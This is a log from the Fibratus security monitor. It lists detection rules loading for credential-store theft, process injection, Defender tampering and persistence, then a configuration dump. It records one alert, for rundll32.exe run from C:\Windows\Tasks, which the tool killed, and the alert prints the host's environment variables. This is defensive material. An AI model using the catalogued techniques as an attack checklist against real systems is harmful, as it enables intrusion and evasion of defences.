C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_from_unusual_directory.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T15:18:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-04T15:18:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T15:18:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T15:18:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T15:18:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T15:18:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T15:18:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T15:18:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T15:18:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T15:18:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T15:18:27+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-04T15:18:27+01:00 level=info msg=bootstrapping with pid 6160. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T15:18:27+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ port=>25 enabled=>false to=>[] use-template=>true content-type=>text/html]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ buffer-size=>512 max-buffers=>36 enable-thread=>true enable-registry=>true enable-threadpool=>false enable-handle=>false enable-mem=>false enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true enable-image=>true enable-fileio=>true enable-audit-api=>true enable-net=>true flush-interval=>1s enable-dns=>false min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-age=>0 formatter=>text max-size=>100 level=>info log-stdout=>true] + output ......................... [ elasticsearch=>[ gzip-compression=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] timeout=>5s index-name=>fibratus flush-period=>1s healthcheck=>true healthcheck-timeout=>5s enabled=>false bulk-workers=>1 template-name=>fibratus trace-log=>false sniff=>false] http=>[ enabled=>false endpoints=>[] method=>POST enable-gzip=>false timeout=>5s serializer=>json tls-insecure-skip-verify=>false] amqp=>[ tls-insecure-skip-verify=>false exchange-type=>topic timeout=>5s durable=>false url=>amqp://localhost:5672 passive=>false exchange=>fibratus delivery-mode=>transient enabled=>false vhost=>/ routing-key=>fibratus] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s excluded-procs=>[] skip-files=>false skip-registry=>false excluded-files=>[] skip-mmaps=>false skip-allocs=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-04T15:18:27+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T15:18:29+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T15:19:08+01:00 level=info msg=sending alert: [Process spawned from unusual directory]. Text: Process rundll32.exe spawned from suspicious directory C:\Windows\Tasks\rundll32.exe + Event(s): + Seq: 3699248 + Pid: 10172 + Tid: 12236 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 15:18:46.155142 +0100 CET + Params: cmdline➜ "C:\Windows\Tasks\rundll32.exe", directory_table_base➜ 42fe2000, domain➜ ARCHRABBIT, exe➜ C:\Windows\Tasks\rundll32.exe, exit_status➜ Success, flags➜ , kproc➜ ffffe4844e2c6080, name➜ rundll32.exe, pid➜ 18368, ppid➜ 10172, real_ppid➜ 10172, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-04 15:18:46.155142 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: technique.ref: https://attack.mitre.org/techniques/T1218/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1218, rule.seq.link: 1762266132313589744, rule.name: Process spawned from unusual directory, technique.name: System Binary Proxy Execution + + Pid: 10172 + Ppid: 4476 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:04fe2bee-7534-4b2a-a6cc-d295d7b7e60a WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T15:19:08+01:00 level=info msg=executing kill action: pids=[18368] rule=Process spawned from unusual directory source=rules/engine.go:294 +time=2025-11-04T15:19:55+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T15:19:55+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T15:19:56+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T15:30:59+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-04T15:30:59+01:00 level=info msg=bootstrapping with pid 17240. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T15:30:59+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ content-type=>text/html port=>25 enabled=>false use-template=>true to=>[]] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false] + eventsource .................... [ max-buffers=>36 min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-handle=>false enable-fileio=>true flush-interval=>1s enable-image=>true enable-vamap=>true buffer-size=>512 enable-mem=>false enable-threadpool=>false stack-enrichment=>true enable-thread=>true enable-net=>true enable-dns=>false enable-registry=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 level=>info formatter=>text max-size=>100 max-age=>0 log-stdout=>true] + output ......................... [ http=>[ timeout=>5s enable-gzip=>false method=>POST tls-insecure-skip-verify=>false enabled=>false endpoints=>[] serializer=>json] amqp=>[ exchange=>fibratus timeout=>5s exchange-type=>topic url=>amqp://localhost:5672 delivery-mode=>transient enabled=>false passive=>false tls-insecure-skip-verify=>false durable=>false vhost=>/ routing-key=>fibratus] elasticsearch=>[ trace-log=>false healthcheck=>true healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] flush-period=>1s sniff=>false template-name=>fibratus index-name=>fibratus timeout=>5s healthcheck-timeout=>5s enabled=>false bulk-workers=>1 gzip-compression=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] enabled=>false skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] skip-registry=>false scan-timeout=>10s fastscan=>true skip-mmaps=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-04T15:31:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T15:31:02+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 